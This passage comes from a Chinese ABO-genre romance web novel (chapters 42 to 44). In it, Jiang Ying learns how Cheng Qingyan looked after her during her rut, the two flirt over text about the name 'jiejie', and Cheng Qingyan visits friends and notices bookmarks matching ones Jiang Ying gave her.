姜映脸烫得不舒服,羞耻到快冒烟了,本来瞧见女人穿她的衣服睡觉已经足够震惊,随及又瞥见了对方腰腹以下的光景,她哪里受得了,呼吸都是烫的,非礼勿视,只能跑出来了。 径直去了浴室,用冷水洗了脸,再次出来时,女人已经穿得整整齐齐,抱着柚柚坐到了沙发上。 程卿言抚着柚柚的猫,歪头,似笑非笑看着她:“过来。” “哦。” 姜映捏了捏掌心,紧张地走到她跟前,脸上的红晕还没消。 程卿言:“不说点什么?” 姜映眨眨眼,憋出一句:“早上好。””你早上哪有你好,你更好,”程卿言哼笑一声,问道,“还记得昨天发生了什么吗?” 姜映茫然摇头:“我昨天头晕昏倒的老毛病犯了,就记不清发生了什么。” 果然。 程卿言从她昨天那迷迷糊糊的黏人劲儿就推断出了她清醒后不会记得,提前有了心理准备,她也不是很在意她记不记得。 姜映抿了抿唇,轻轻呼了一口气,正打算问女生昨天发生了什么,敲门声在这时正好响起。 “去开门。”程卿言抬了抬下巴,语气自然到仿佛她才是屋主,屋主逗着怀里的猫,指挥着一脸乖巧的仆人去开门。 姜映点头,没觉得有任何不对,转身去开门了。 门前站着的人是秦助理,秦助理虽是beta,嗅觉的灵敏程度没有alpha或omega好,但姜映身上属于老板的樱桃味实在太浓郁了,她想不闻见都不可能,不过她得装作什么也不知道,这是优秀助理的修养。 秦助对着她笑了笑,打了招呼后,将手里提着的早餐递给她,便下楼去车里等着了 。 程卿言在姜映开门拿早餐时,顺便去了浴室洗漱,洗漱好出来,女生已经将早餐拿了出来,整整齐齐地摆在了桌上。 还挺识趣,有进步了,若是之前,可能会提着袋子问她要怎么处理这些食物。 程卿言坐下,优雅地用餐:“你不饿吗?” 昨晚就没吃了,姜映当然饿,饿得肚子都扁了,眼巴巴地问道:“我可以吃吗?” 程卿言挑眉:“放心吃,已经给你试过毒了。” 闻言,姜映眨眨眼,紧张的状态缓解了许多,嘴角轻轻扬了下,一起用餐。 柚柚在趴在沙发上,看着她们喵喵喵叫了几声。 姜映柔声道:“柚柚你不能吃这些,你只能吃猫粮。” “它的名字是你取的?”程卿言问。 姜映嗯了一声:“我是在小区的柚子树下捡到它的,就给它取名柚柚了。” 程卿言点头,看来大家取名的方式都差不多,她将拉面丸子领回家那日,也是因为她前一天吃了拉面丸子。 程卿言吃的不多,很快就放下了筷子,掌心撑着下巴,看着乖乖进食的女生,女生问她:“还有这么多,你不吃了吗?” “我饱了,都是你的。”程卿言说。 姜映哦了一声,安静地进食,还剩下最后一个灌汤包时,似乎觉得自己吃的有点多了,不好意思地看着女人道:“其实我平时不会吃这么多,我今天是太饿了,我没有那么能吃。” 程卿言笑出声,点了点头,哄着她:"知道了知道了,吃完吧。” 她和她一起吃过好几次饭了,当然知晓对方的饭量其实一般,今早她是特意提醒秦助理多买一些,alpha的易感期和omega的发热期都挺消耗精力的,容易感觉饿,结束后饭量本就比平时要大。 这小傻子。 一想到她硬生生抗了几年的易感期,就觉得她可怜,程卿言不由自主轻叹一口气。 姜映抬眸,关心道:“怎么了?” “没事,”程卿言摇头,见她吃完了,开口道,“你得帮我一个忙。” 姜映很乐意为她效劳:“什么忙,你说。” 程卿言从手提包里拿了一张新的阻隔贴出来,递给她:“帮我换一张。”; 阻隔贴有时效,在浓郁的青竹味里过了一夜,已经快失效了,得换一张新的才行。 “可以的,”姜映说,“不过我没用过阻隔贴,也没给别人贴过,可能不太会。” “不难,找准位置贴上去就行了,你清楚我的腺体在哪。”程卿言手上的发圈是女生的,她没还给她,再次用来挽头发了,将后颈露了出来。 既然很简单,为什么需要她帮忙? 姜映有点困惑,拿着阻隔贴走到她身后,眸光落在女人后颈上时,直接傻了眼,心口猛得颤动几下。 平日里白皙的后颈此刻覆满了深深浅浅的红痕。 深呼一口气,伸手轻轻撕掉女人腺体上的阻隔贴,指尖颤动,更加触目惊心的画面出现在她眼里,绯红的腺体上全是咬痕,看起来甚至有些肿了。 她之前咬过女人的腺体,事后虽然有些泛红,但绝对不会这样。 姜映眉心颤了颤,第一时间不是去想这是谁弄的,也不是去想怎么弄的,而是目露心疼,声音有些颤:“是不是很疼啊?” 她低头靠过去,轻柔地给她吹了吹。 暖热的气息落在上面,麻酥酥的痒,程卿言瑟缩想躲:“还好,不怎么疼。” 牙尖刺破肌肤,反复啃咬时,信息素注入的量也多,缓解了大部分疼痛,看起来确实有些骇人,若是别的地方被这样咬,得疼得大叫了。 “你这会儿别吹。” 姜映合上嘴,应了声好。 程卿言:“心疼了?” 姜映抿了抿唇,她说不清楚她是不是心疼,但她心口那里确实有点不舒服,她回答不上来。 “是不是觉得把我弄成这样的人很可恶?” “嗯。”这个问题姜映能回答,动作轻轻地给她贴上了新的阻隔贴,生怕力道重了会让她觉得疼。 “你咬的。”程卿言挑眉,站起身的同时取下了发圈,柔顺润泽的秀发如瀑布般落了下来,遮住了后颈的旖旎。 她瞧着女生一脸难以置信的神色,轻笑一声:“别惊讶,就是你弄的。” 姜映如招雷劈,难以接受自己会做出如此残暴的事情,浓烈自责感瞬间涌上心头,之前她给女人提供服务时,就很担心弄疼她,所以她会吃对她而言其实很昂贵的强化剂,她会去看专业书学习。 她没想到她竟然做出了这样的事情。 程卿言见女生眼尾泛起了红,要哭了? 她可不想她哭。 “我说了不怎么疼,只是看起来有些严重。”她牵起女生的手,将发圈戴到了女生手腕上,和红绳挨在一起。 姜映无比内疚:“真的吗?” 程卿言:“骗你做什么,你能给我钱?” 姜映摇头:“你不缺我这点钱。” 确实不缺,程卿言笑了笑,正要说话时手机响了,是余简予发来的微信,问她怎么还没去找她们,马上都中午了。 一直没注意时间,瞥了眼手机右上角,已经快十一点了。 吃早饭没用多少时间,是她起得太晚了。 她的睡眠一直不好,入睡难,容易醒,可是昨晚她躺在陌生的床上,很普通的床,舒适感一般,比她平日里睡的床差了很多。 但是她躺上床后,很快就睡着了,中途也没醒,睡得很香,若不是女生弄出动静吵醒她,她可能会一觉睡到中午。 记忆里很久没有过这样令她身心愉悦的长睡眠了。 她拿起包,走到玄关处换好鞋:“我还有事,得先走了,有什么事情之后再说。” 姜映想问她昨天发生了什么,但女人既然有事,她也不能耽误她,只能点点头。 程卿言开门,往门外踏了一步,又回头看着她,伸手挠了挠女生的下巴:“姜映。” 姜映颤睫:“嗯?” “和你睡觉的感觉挺不错的,我很喜欢。” 程卿言的声音不大,带着轻微的笑意,尾音上扬,话音落下后,她没管alpha是和反应,便迈着步子下楼了。 女人的背影消失在视野里,下巴还有女人掌心留下来的余温,耳朵又痒又烫,姜映滚了滚喉咙。 程小姐刚才说了什么? 和,和她睡,睡觉的感觉不错? 姜映的脸瞬间又红了,惊讶而怔愣地在门口站了好一会儿,直到楼道窗口吹来的冷风冻红了她的手,才回神关了门。 凌乱的卧室,满地的纸巾,全是褶皱的衣服裤子,在同一张床醒过来。 她虽然日子过得寡淡无趣,但见着这些场景,难免也会想些乱七八糟的事情。 再加上女人后颈上的痕迹,以及离开前说的那句话,她真的很不安,她到底对女人做了什么? 单纯的睡在一张床上? 还是她做了轻薄之事? 姜映惶恐苦恼,心脏扑通扑通地跳着,家里若是安了监控就好了,静静坐在沙发上,试图回忆一些昨天发生的事情,但想不起来,那段时间的她意识是昏沉的。 无奈地叹了一口气,她起身去阳台拿了扫帚,开始打扫屋子,再用拖把脱了地板,换下凌乱的四件套丢进了年份已久的洗衣机,按了启动。 忙活了几十分钟,屋内重新恢复了整洁,姜映擦了额头上的汗水,从书包里拿出她带回来的干净衣服,去了浴室。 昨天她肯定流了很多汗,起来那会儿她就察觉的了身上的衣服有一种汗水干了之后的黏腻感,她得洗澡。 老旧的热水器热水来的慢,她进去后先打开了淋浴头,这才开始脱衣物,指尖偶然碰到裤子处于大腿那块布料时,她愣了愣几秒,又细细摸了几下,怎么感觉这处的黏腻感比较重,摸起来感觉不是汗水弄的。 姜映有些困惑,又去检查了另一边的裤腿,另一边没有这种触感,拿到眼前认真看了会儿,又闻了闻,没检查出所以然。 不知道怎么回事,不过在她看来,这点小困惑和屋内的凌乱带来的困惑相比有些不值一提,就没花心思去研究了 。 洗完澡后,将换下来的衣服先用手搓了一遍,再放进洗衣机里洗。 柚柚在她忙活期间断断续续睡了几觉了,这边待够了,优雅威风地走到门口喵喵喵地叫着,抬起前爪拍了拍门。 姜映会意,抱起它去了隔壁张阿姨家。 张阿姨准备做午饭,正在摘菜叶子,瞧见姜映精神气很好,已经恢复了正常,感慨道:“这次居然恢复得这么快。” 以往姜映即使醒了,也得缓两天才能彻底恢复,她也不知道她这次为什么会这样,从醒来了她就感觉到她的状态变好了。 是不是说明她的老毛病有康复的迹象? 但是这个毛病医生诊断不了,她也无法让医生给她看看状况,只能等几个月后,症状再一次出现时,由自己判断。 张阿姨问:“卿言走了没?” “已经走了一会儿了,”姜映帮忙摘菜的手顿了顿,“您怎么知道她的名字?” 张阿姨笑了一声:“我问的啊,她还在我这里吃的晚饭呢。” 很明显张阿姨是知情人,姜映立马问道:“她是什么时候来我家的?” 张阿姨见状,困惑道:“卿言没告诉你吗?” 姜映摇头:“她有事要忙,就先走了。” 张阿姨于是把昨天的经过都说了出来:“她三点过给你打的电话,我正好去你房间看你,我接了电话简单给她说了你的情况,免得打电话的人有急事找你,找不到会着急,然后她过一阵就来这里看你了,我拿钥匙给她开的门。” 从昨天下午到今天早上,程卿言一直在她家里陪着她。 张阿姨只知道这些,屋内发生了什么她一点也不知情,也不可能往私密的事情上想,毕竟姜映发热晕着的,哪会条件和人亲密。 “卿言这姑娘真不错,悉心照顾了你一整晚,你看你这么快就恢复,她肯定费了很多心,你可得好好谢谢她。” 姜映嗯了一声,心口微微颤动着,怎么也没想到女人会特意过来找她,会陪了她一整夜。 她没留在张阿姨家吃午饭,不想再麻烦张阿姨,而且学校还有很多事情要做,不能再耽误下去。 回家背上书包,关好门窗,提着三袋垃圾下楼了,其中有一袋是程卿言丢进垃圾桶的贴身衣物和衬衫西裤,姜映在收拾时也犹豫过,要不把它们捡起来洗干净再还给女人,最后还是打消了这个念头。 女人的衣服太多了,既然已经丢进垃圾桶了,肯定是不想要了。 暖阳照在脸上,姜映站在楼下抬头看了眼自己家,昨晚到底发生了什么啊? 扫了辆共享单车回了学校,在校门口吃了碗混沌后,径直去了图书馆。 临近期末,没有学生想挂科,来复习的人特别多,好在碚大建的图书馆特别大,位置充足,姜映找了个空位置坐下,拿出电脑开始做事。 期末考于她而言是比较轻松的事,花不了她多少时间,她是在为寒假以及之后去研究院实习的事做准备。 下学期进入大四下期,学校已经没安排课程了,不考研不考公的毕业生会进入社会工作。 姜映直博的事已经确定下来,因此她不用考虑工作的事情,但她准备去她师姐林池意实习的研究所实习,提前接触一些学校接触不到的实操。 需要提前准备的事情比较多,姜映深呼吸,让脑子暂时不去想程卿言,试着让自己进入专注状态。 但是好像不行。 从小到大一直让人羡慕的专注力逐渐远离她,上一秒还看着电脑上的数据,下一秒就去想女人后颈上的咬痕,上一秒还在做笔记,下一秒就在笔记上写了程小姐三个字。 姜映轻叹一口气,放下笔,从包里拿出了手机,捏了捏掌心,点进了短信界面,犹豫片刻发了条短信:【程小姐你在忙吗?】 程卿言:【忙】 姜映抿抿唇:【哦】 程卿言:【有事?】 姜映:【等你忙完了的】 程卿言:【忙完了】 啊? 从她发第一条消息到此刻,一分钟都没用到,那么快就忙完了吗。 姜映感慨她速度真快,打字:【程小姐你能告诉我昨天发生了什么事情吗?】 程卿言:【很想知道?】 姜映如实说:【很想】 程卿言:【求我】 姜映不是第一次求她,很熟练地打字:【求求你了程小姐】 程卿言:【求程小姐没用】 姜映困惑地眨了眨眼,为什么求程小姐没用,难道当时她家里还有第三个人子在场,正思索着时,手机上跳出了新的短信。 程卿言:【姐姐才会说,求姐姐吗姜映?】 作者有话说: 程总训拉面丸子:握手,趴下,给奖励 橙总训小姜:叫姐姐,给奖励 拉面丸子提问:为什么捂脸跑不用趴下,主人就给奖励? 1,小姜没学过,不会像小狗一样趴 2,橙总要趴,轮不上小姜 3,橙总偏心,爱小姜多过爱小狗 4,小姜不是小狗,不用趴 晚安,明天见 第43章 改口 改口 第四十三章 吃饭的地点选在了云秋染的住所。 从姜映家出来,程卿言没有让秦助理直接开过去,途中在商场停了一小会儿。 秦助理下车小跑进了商场里面,几分钟后提着一个奢侈品纸袋重新回到车上:“程总您看看合适吗?” 她将袋子递给后排坐着的程卿言。 程卿言拿出里面装着的丝巾,轻轻看了几眼,点了点头:“可以。” 不好看,也不难看,很一般的款式,没时间去细挑,临时戴一戴还是可以的。 她熟练地系在脖子上,拿出镜子看了眼,该遮的都遮住了。 平时她也常系丝巾,用来搭配衣服,这会儿纯粹是用来遮后颈上的红痕。 alpha昨天虽没弄伤她,但也没分寸,不只是咬了腺体,腺体旁边的肌肤也弄出很多深深浅浅的痕迹,一时半会儿消不了,若是不遮,余简予和云秋染肯定会瞧见,说不准还会笑话她。 程卿言要脸,不想丢这个人,暂时也不想告诉她们,她帮alpha度过了易感期。 没有omega会随便陪着alpha度过易感期,都知道这是一件相对危险且暧昧的事情,程卿言也觉得昨天她太冲动了。 这会儿彻底冷静下来,其实有些后怕,当时姜映已经处于神志不清的状态,若是真对她用起了蛮力,一条皮带根本束缚不住她的。 如果她腺体正常的omega,尚有反击能力,可以抵御住alph息素的侵入,不会失去理智,但她是信息素紊乱症者,腺体比健康omega的腺体要脆弱敏感无数倍,若姜映蛮横些,不只是咬她的后颈那里,挣开了束缚做了其它的,轻而易举就能诱发她的发热期。 都是心软惹的祸。 幸好这些事情没发生,程卿言深深呼了一口气,指尖隔着丝巾揉着后颈,不禁想,如果她真的被姜映诱发了发热期,并且被她深层标记了,她会如何? 事后打死姜映? 程卿言不知道,不过犯法的事情她不会做。 没有下次了,这次是她运气好,没造成恶劣的后果。 还有一件事她也挺困惑的,alpha的易感期一般是三天,极少数会持续五天,其中第一天是最不舒服的,后面几天症状会减轻很多,但精神状态也会比平时差。 可是姜映仅仅睡了一晚上就彻底恢复了,早上那会儿面色红润,活蹦乱跳,一点事没有。 她给她的信息素安抚虽然有用,可她也没安抚到底,中途停了下来,并且没给她用抑制剂,怎么恢复的这么快? 和女生的愈合能力同样快,快到惊人的地步,若是早些年,法律不完善的混乱年代,可能还会被抓去实验室研究。 姜映。 处处特别。 程卿言心里冒出一种感觉,她和女生接触越多,会越发感受到她的干净,同时,也会觉得她越来越复杂。 心灵的干净,身体的复杂。 像是透明的谜团,让人忍不住心软,忍不住想研究她。 给女生买的抑制剂还在她手提包里,昨晚没用上,程卿言准备之后再给她,以免小傻子下一次又硬抗易感期。 一路思考着,侧眸看向窗外时,已经快到目的地了。 云秋染的住所在碚城中,环境不是最好的,但安保是最好最严的。 余简予之前调侃过,住在这里的人除了顶流级别的明星,剩下的可能都是些有钱的神秘人。 普通人哪里需要堪比银行钞票押送的安保啊。 开发商也是另辟蹊径,舍得在安保上花钱下功夫。 这个小区交房没几年,目前入住率一般,不是国内的开发商建造的,而是一家实力雄厚的外企投资的,最初的项目规划也不是这样,听说是那家外企的大老板生了一场重病,好了之后就亲手改了项目规划。 当然,这些都是余简予听到的八卦,是真是假她就不知道了,那家外企和程氏没有合作过。 不管是何原因,这里很适合云秋染居住。 云秋染在上一处房产居住时,因为安保不到位,就有极端的粉丝潜入她家,很危险,这事当时还上了热搜。 所以在这里建成之后,立马搬来了这里。 程卿言不是业主,只在这里留过访客登记,经过一番严格的核对检查,十来分钟后才到了云秋染所住的那栋别墅。 在院子里烤鸡翅的余简予瞧见她到了,开始阴阳怪气:“哟,咱们程总这是找到路了啊,要是再晚一点,我都要以为你是来吃晚饭的了。” 程卿言看了眼时间,十二点十六分:“有你说的这么夸张吗?” 余简予:“我九点过就到了,你这个点才到,可不就是晚了嘛。” 程卿言解释:“睡过头了。” 余简予啊了一声,有些震惊:“你还能睡过头,你昨晚不会是吃了安眠药助眠吧,孙影阿姨不是说了吗,你别图省事总是去吃安眠药,对你的身体不好。” “没吃,”程卿言洗了手,拿了一串鸡翅坐在她旁边烤着,“自然睡着的。” 余简予放心了,垂眸,快速从她手里夺过鸡翅:“你别动手,你坐着就行,我来。” 她不是惯着她,是因为程卿言做饭毫无天赋,之前她吃过她烤的鸡腿,拉了两天肚子,从此长记性了,不让她靠近食材。 程卿言不和她争,问道:“秋染呢?” “在厨房煲汤。” “我进去看看。” “你去吧,”余简予不忘提醒,“你千万别帮忙做菜。” 程卿言:…… “知道了。” 云秋染年幼时曾在饭店后厨帮过忙,厨艺很好,程卿言一进屋就闻见了厨房飘出来的香味,过去打了声招呼。 “来了,简予是不是调侃你了。”云秋染没化妆,穿着最简单的居家服,身上系着围裙,依旧美艳动人。 程卿言说:“刚打趣完我,说我是来吃晚饭的。” 云秋染笑了一声,放下汤勺侧头看她,目光落在她脖子上,扬唇轻笑:“你怎么系这么丑的丝巾,品味不比从前了。” 程卿言:…… 不想把话题扯到丝巾上,转而道:“需要我帮忙吗?” 云秋染摇头,哪敢让她帮忙,那不是给自己添乱嘛:“这里不用了,菜已经做的差不多了,再炖十来分钟就能吃,你去客厅休息。” 没有人需要她的帮忙,即使来得早,程卿言也没事情做,来晚点也挺好了,坐在沙发上拿了本杂志翻了会,就开饭了。 秦助理帮着余简予弄好了烧烤,装盘端到了餐桌上,云秋染也把鸡汤盛了出来,还有几道炒菜,四个人吃绰绰有余。 饭后,一起收拾好厨房。 当然程卿言被排除在外了,不过她也不是什么都没做,拿起手机给劳作的她们拍了合照,并且给做饭最辛苦的云秋染拍了几张单人照,美到可以不修图发在某博给粉丝看的程度。 云秋染看过后,也比较满意:“你发我微信。” 程卿言应了声行,拍完照从厨房出去后就没事情做了,坐在沙发上静了会儿,正觉得无聊时,乐趣就来了。 姜映主动给发了消息问她忙不忙。 程卿言垂眸看着手机屏幕,如果她没猜错,女生肯定是来问她昨天的事情。 她还以为她得憋到晚上才问,这就忍不住了? 程卿言扬了扬嘴角,本来也没什么不能说的,她可能是有点无聊,心思一起先逗了逗姜映,说自己在忙。 不过在瞧着满屏的程小姐时,她有点不乐意了。 之前姜映叫她程小姐,是因为她们比较陌生,没有改称呼的必要,现在还和她陌生吗? 叫人师姐叫的那么甜,叫她,就得是程小姐。 程小姐不想告诉她昨天的事。 程小姐眉心拧了拧,比较直白:【姐姐才有用,求姐姐吗姜映?】 消息发过去后,她拿着手机等了将近一百二十秒,女生没有回复她任何消息,程卿言轻呵一声,这是很难的事情吗? 心里有些堵,瞬间觉得没意思了,正要息屏丢开手机,微信响了一声,顺手点进去瞧了瞧,是一条好友申请的消息。 备注栏上写着:【我是姜映】 她是姜映,她就得加她吗? 程卿言再呵一声,点了同意。 手滑。 好友加上后,她先看了眼女生的头像,是一张星空的照片。 女生的微信名是一个句号,她把她的备注改成了小蜜蜂后,看着顺眼多了。 不过这人怎么回事,加了她又不说话,加着玩? 还是等着她主动? 下一秒,姜映发来了一条语音,程卿言靠近耳边点开,又柔又软,其中还带了些羞涩的,慢慢缓缓的声音传入了她的耳畔。 【姐姐求求你了……】 姐姐求求你了。 姐姐求求你了。 明明听得很清楚,但程卿言连着听了三次,耳朵像是被咬了一口,酥酥麻麻的,她甚至觉得她此刻有点热,指尖下意识放在了丝巾上,下意识想解开时又回过神,丝巾不能解,又把手收了回去。 出乎女人意料的语音。 程卿言让她叫姐姐,意思是把“程小姐”这个称呼换成“姐姐”,文字打出来就行了,谁能想到女生着重理解了“叫”字,真的叫她姐姐了。 姐姐后面还跟着求求你。 任谁听见了,也无法淡定。 程卿言拿起坐上摆着的苏打水,拧开瓶盖喝了几口,冰凉感落到心口那块,缓解了她的热意。 要命。 她听第一遍语音时,下意识想到如果昨天下午,姜映用这句话求她,用这种语气蹭着她的后颈说姐姐求求你了,她能忍住拒绝她吗? 程卿言深呼一口气,缓了半分钟,虽然不淡定,但她也不是二十岁的青涩年纪,很快就调整好了,打字问这个不按常理出招的坏东西。 【为什么加了我之后,没有直接发,而是过了两分钟才发语音?】 【是在这两分钟里,自己试着叫了很多声对吗?】 【回答我姜映】 她,她是怎么知道她试了很多声姐姐的? 本来叫姐姐就已经足够羞涩了,私下的行为还被女人识破,姜映羞涩得不行,脸颊绯红,已经被点名要求回答了,躲也躲不了,不爱说谎的本分人只能如实交代: 【试了的】 果然。 程卿言浅笑一声:【为什么要试?】 姜映:【我不太适应,担心叫得不好听】 程卿言如实说:【好听】 程卿言鼓励她:【叫得很棒】 程卿言提需求:【以后常叫】 啊。 不要这样夸她啊。 姜映羞耻得快冒烟了,手的温度要把手机烫着了,很快女人又发了消息,是一个微信红包。 程卿言:【领了】 姜映不太懂,热热地问:【为什么?】 程卿言心情挺不错:【改口费】 改口费? 姜映听过这个词,一般是新婚嫁娶时,妻妻二人对彼此的双亲改口叫了妈妈妈咪,就会收到大红包,里面装着的钱就是改口费。 她小时候跟着长辈参加亲朋好友的婚礼时,见过这种事情。 但她和女人之间,给哪门子的改口费啊,是程卿言家里的风俗吗,同辈之间也有改口费。 姜映颤睫,不知道该不该领。 领了,她会觉得有些奇怪,不领,又担心女人生气。 思忖片刻后,还是决定领了,微信红包的金额最大是200 ,不是很多,在她能接受的范围中。 指尖点了领取,屏幕上显示了金额数目——五毛钱 怎么只有五毛钱? 姜映愣了两秒,五毛也是钱,打字:【谢谢】 程卿言勾唇:【谢谢谁?】 好不容易稍微缓解了脸颊的温度,女人又让她叫了,姜映羞耻打字。 【姐姐】 【谢谢姐姐】 程卿言身心愉悦,女生确实得谢谢她,不是为改口费而谢,而是她昨天冒着分享帮了她,她值得这声谢谢。 姜映问:【你可以告诉我昨天在我家里发生了什么事情了吗?】 姐姐也叫了,该姐姐履行承诺的时候了。 但姐姐有点坏,言简意赅。 程卿言:【你发热晕倒了,我去看你,你咬了我的腺体之后症状就恢复了很多,我担心你的情况反复,晚上就在你家里留宿了】 姜映家里只有两间卧室,空着那间卧室没摆床,程卿言又不想睡沙发,只能去睡姜映的床。 姜映:【没了?】 程卿言:【没了】 听了等于没听,姜映不解:【我为什么要咬你的腺体?】 程卿言:【你问我?】 也是,是她咬了女人,不是女人咬了她,女人怎么可能知道原因。 姜映想到女人后颈上触目惊心的痕迹,很内疚:【对不起】 程卿言:【我允许你咬了,道什么歉】 其实她是可以告诉姜映,她这么些年的发热昏厥是alpha的易感期引起的,但她说了有用吗,女生会相信她吗? 除了她之外,所有人都闻不见她的信息素,医生检查不出来,专业的医疗设备也检探不出来。 在科学面前,她的话显得毫无信服力。 姜映这小古板,肯定会选择相信科学,不相信她。 而且,她不是很想提与信息素有关的事,假如姜映真的相信她的话,按姜映的智商,可能会从她们的接触中猜出她患有信息素紊乱。 这个秘密知道的人越少越好,姜映若是知道了,可能会有麻烦。 所以,姜映是信息素无能的形象,对大家来说是一件好事,即使程家有人因为她查到了姜映身上,也不会往她是信息素紊乱方面猜,也就不会对姜映怎么样。 姜映不知道女人的思虑,她困惑:【那地上的纸巾是怎么回事?】 程卿言:【给你擦汗的】 姜映:【我手上的红痕呢,还有我的皮带为什么会在床头柜上?】 程卿言:【皮带是用来捆你的手的】 红痕自然是皮带磨出来的。 姜映:【为什么要捆我?】 程卿言:【担心你除了咬我,还会做其它事,不捆手不行】 所以她除了咬了她的脖子,并没有做其它不可饶恕的事情。 姜映愧疚不安,一直悬着的心,终于落下去了些,她连忙打字:【谢谢你捆我】 程卿言轻笑一声:【不客气】 姜映担心:【你脖子还疼不疼?】 程卿言:【还好,一点点】 她对这些事情向来直白,说一点点就是一点点。 【还有什么困惑吗?】 姜映抿抿唇:【好像没有了】 其实是有的,比如她为什么要咬她,为什么咬了她之后身体就恢复了,但这些困惑对方应该也无法解释。 就像她无法解释自己为什么会做程卿言是世界女主的梦,为什么系统会找上她,莫名其妙给她安排任务,但系统出现了一次就再也没出现过了,好像彻底消失了一般。 程卿言:【好】 姜映:【那我去学习了】 程卿言:【去吧】 聊天结束后,她的嘴角一直是扬着的,指尖往上滑了滑,停在了女生发的那条语音上,想再听听,思忖片刻,最终还是打消了念头。 一句姐姐就让她心神荡漾,像什么话。 程卿言将手机息屏,丢在了沙发上,抬头那瞬愣了两秒,发问:“你们在做什么?” 只见余简予领着云秋染和秦助理在她侧边站成了一排,也不知道站了多久,余简予和云秋染满眼戏谑地看着她,秦助理不敢这样对老板,遮遮掩掩偷偷看她。 余简予笑着说:“呦,终于发现我们了啊?” 云秋染也笑:“我们还没问你刚刚在做什么呢?” 秦助理张嘴,也想八卦,瞧着老板的眼神时,立马又闭上嘴,作为优秀的助理,这种时候她得和老板一个阵营,不能在老板尴尬时出场,于是捂着不痛的肚子快速去了洗手间,把门关得严严实实。 程卿言敛了敛嘴角的笑,故作不懂:“我做什么了?” “谁知道你做什么了,老实交代吧,刚刚在和谁聊天,高兴成那样了。”余简予道。 程卿言:“没谁,我认识的人你都认识,别疑神疑鬼的。” 余简予哼了一声:“程卿言你不对劲儿。” 程卿言:“是你想多了。” 见她不肯说,余简予求助云秋染:“秋染你说说她,她是不是不对劲儿。” 云秋染本来是想八卦的,以程卿言的讲究,哪会随便戴一条和衣服不怎么搭的丝巾,她瞧见丝巾那会儿就觉得有点猫腻,再加上刚才的事,明眼人都能瞧出不对劲儿。 正欲明说时,察觉到程卿言的目光似有若无落到了她后颈的阻隔贴上,轻轻对她笑了一下。 云秋染秒懂:…… 她也是有事没说的人,不能跟着余简予一起八卦了,不然下一个被审问的人可能就是自己,瞬间倒戈:“卿言她说不准是在手机上刷到了好玩的事,乐一乐很正常呀。” 余简予:??? 不是,刚才大家不是这样的呀,先是秦助理跑了,然后云秋染也不和她一起了,这些叛徒! 余简予哼了一声,放狠话:“算你厉害程卿言。” 程卿言也哼了一声:“我本来就厉害。” 余简予也不是真的生气,纯粹是想八卦一下她们的事情,大家都是成年人,不会因为这种小事情生气。 她平时也不是所有事情都会告诉朋友,万事总有自己的考量,不说就是没到时候,总有一天会知道的。 余简予骂骂咧咧闹了一会儿,很快就聊到了别的话题上。 “你什么时候会有新电影上映?” “明年年初应该会上一部。” 云秋染拍的戏多,她运气也比较好,拍完后不用等多久就会排片上映,因此她的存货很少。 “春节档?””应该是春节。” “那你在国外刚拍完的电影呢,明年能上吗?” “得看后期制作团队的效率了,最快的话可能明年国庆,不行就后年。” 余简予问:“你只有这两部戏没播了?” 云秋染嗯一声:“所以啊我近期已经挑好了一些新剧本了,谬姐已经在和导演沟通了,有合适的就进组拍戏。” 她对待工作认真,只要进组,就会全身心投入,在网上消失几个月。 “哎呀,你的粉丝也不知道是幸福还是不幸福。” 幸福在偶像是有实力的事业狂,作品既有数量又有质量,不幸福在一年到头看不到偶像几次,几乎全年都待在剧组了,很少参加娱乐性质的晚宴活动,就连各种颁奖典礼也不一定到场领奖。 云秋染也在为粉丝考虑,说了她的安排:“我明天复工,不是立马就进组,这次准备等我生日过了再去拍戏。” 程卿言:”你在生日有安排?” 云秋染点点头:“工作室已经在筹备了,准备搞个见面会。” 她生日在明年年初,马上就要到了,明年正好是她出道十周年的日子,工作室已经向粉丝做过调查,都希望她能办一次见面会,所以她会提前将那几天的行程空出来,满足粉丝的愿望。 生日,出道十周年,新戏上映。 三者挨在了一起,不用想都知道那会网上肯定全是云秋染的物料。 余简予本来想说见面会她也要去凑热闹,但那会儿她和程卿言肯定在忙城西的新项目,不一定有时间。 “没事,等有空了再聚也是一样的,”云秋染不在意这些,笑着说,“你们要是真去了,媒体如果拍到了卿言,我和她又得传绯闻上热搜。” 因此不去也有好处。 聊了一会儿,又去棋牌室打了一个多小时的麻将,程卿言手气不错,几乎都是她赢,余简予叹气:“不玩了,不好玩。” 程卿言笑了一声:“技术不好才会觉得不好玩。” 久坐对腰不好,打麻将只是消磨时间,不是为了赢钱,又回到了一楼客厅,在电视上找了部云秋染的剧放了起来。 云秋染电话响了,她拿起来看了一眼,抿了抿唇,去阳台接电话了。 余简予想吃橘子,拉着程卿言一起去箱子里拿了几个,清洗过后,准备用刀切小块。 程卿言双手环胸:“我喜欢剥成一瓣一瓣的。” 余简予不惯着她:“要吃自己剥。” 呵,要是姜映在就好了,就有人笑眯眯给她剥橘子了。 程卿言看着手里的橘子犯难。 别说,云秋染家里的橘子真的和姜映寄给她的橘子长的一模一样,她侧眸瞥了眼快递箱上的单子,寄货地址居然也是碚城大学。 程卿言:? 碚城大学不产橘子,姜映给她的橘子,是姜映家里人买了之后寄到了碚大,姜映再从碚大寄给她。 云秋染的这箱为什么也是从碚大寄出来的? 程卿言眨了眨眼,准备问一问云秋染,转身时目光恰好落在了书架上。 吸引她目光的不是书 ,而是两片银杏叶做的书签。 和姜映送给她的几乎一模一样。 款式一样,包装一样,制作工序也一样。 程卿言困惑:??? 姜映送给云秋染的? 作者有话说: 橙总有钱,不仅给改口费,以后还会给亲*费,做*费 小姜((*▽*):大家可以帮忙补充一下还有什么费吗,以后的零花钱就靠大家了 (云秋染这条线和小姜小程这条主线有一点关系,会写一点点她的事,但是不多,只有一点点点点)(后面会讲) 晚安,明天见 第44章 指尖 指尖 第四十四章 姜映既送给了她,又送给了云秋染? 若不是快递单上的电话号不是姜映的,书签上的毛笔字迹和她收到的不相同,她真的快怀疑这些是姜映送给云秋染的了。 要不就是云秋染偷她家里的东西。 程卿言挑了下眉,真是过于荒唐的想法。 上次她去接喝醉酒的姜映,当时云秋染也在车里,就见了那一次面,而且还是在不清醒的状态说了几句话,联系方式都没加,她们都不算认识。 那这些东西和她收到的为什么几乎一模一样。 “在看什么?” 云秋染接完电话走了进来,见她在书架前发愣,出声问道。 程卿言回神,侧眸看她,下巴指了指书签:“你这个是哪来的?” 云秋染颤了下眼睫:“朋友送的。” 程卿言好奇:“哪个朋友?” “你和简予不认识,我在国外拍戏时结交的人,”云秋染不是很想谈这个话题,笑了笑,“就是普通朋友,没必要介绍给你们,她送了我两个书签,你喜欢可以拿走一个。” 